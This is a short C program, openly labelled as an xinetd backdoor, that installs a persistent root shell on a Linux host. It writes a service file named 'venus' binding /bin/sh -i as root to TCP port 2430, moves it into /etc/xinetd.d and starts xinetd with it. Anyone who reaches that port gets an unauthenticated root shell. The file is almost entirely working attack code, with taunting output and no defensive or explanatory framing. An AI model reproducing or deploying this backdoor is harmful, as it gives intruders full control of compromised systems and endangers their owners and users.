/* Xinetd 'backdoor' // c0ded by pWr */

#include <stdio.h>
#include <stdlib.h>

int main()
{
  FILE *f_conf;
  
  f_conf = fopen("/etc/xinetd.conf", "r");
  
  printf("\nChecking for: /etc/xinetd.conf\n");
  
  if(f_conf != NULL)
    {
    printf("-> Check = OK\n");
    
    printf("Deleting previous tmp files\n");
    system("rm -rf /tmp/xinetd.tmp");
    
    printf("Echoing the backdoor to: /tmp/xinetd.tmp\n");
    system("echo service venus >> /tmp/xinetd.tmp");
    system("echo { >> /tmp/xinetd.tmp");
    system("echo disable = no >> /tmp/xinetd.tmp");
    system("echo protocol = tcp >> /tmp/xinetd.tmp");
    system("echo port = 2430 >> /tmp/xinetd.tmp");
    system("echo socket_type = stream >> /tmp/xinetd.tmp");
    system("echo wait = no >> /tmp/xinetd.tmp");
    system("echo user = root >> /tmp/xinetd.tmp");
    system("echo server = /bin/sh >> /tmp/xinetd.tmp");
    system("echo server_args = -i >> /tmp/xinetd.tmp");
    system("echo } >> /tmp/xinetd.tmp");
    
    printf("Moving the backdoor to: /etc/xinetd.d\n");
    system("mv -f /tmp/xinetd.tmp /etc/xinetd.d/venus");
    
    printf("Starting the backdoor on port: 2430\n");
    system("/usr/sbin/xinetd -d -f /etc/xinetd.d/venus");
    
    printf("j00 got it biznitch\n");
    }
  
  else if(f_conf == NULL)
    {
    printf("-> Check = FALSE\n");
    printf("\nthis backdoor will not work...!\n\n");
    }    
    
  return 0;
}